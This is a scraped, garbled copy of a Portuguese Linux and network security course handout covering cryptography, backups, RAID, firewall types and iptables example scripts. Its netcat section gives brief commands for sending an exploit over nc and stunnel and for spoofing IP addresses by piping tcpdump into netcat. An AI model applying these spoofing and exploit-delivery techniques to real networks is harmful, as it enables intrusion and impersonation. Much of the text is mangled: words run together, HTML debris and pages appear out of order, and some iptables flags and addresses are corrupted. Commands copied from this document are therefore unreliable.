ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 16: Curso de segurança em linux e redes em geral

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet 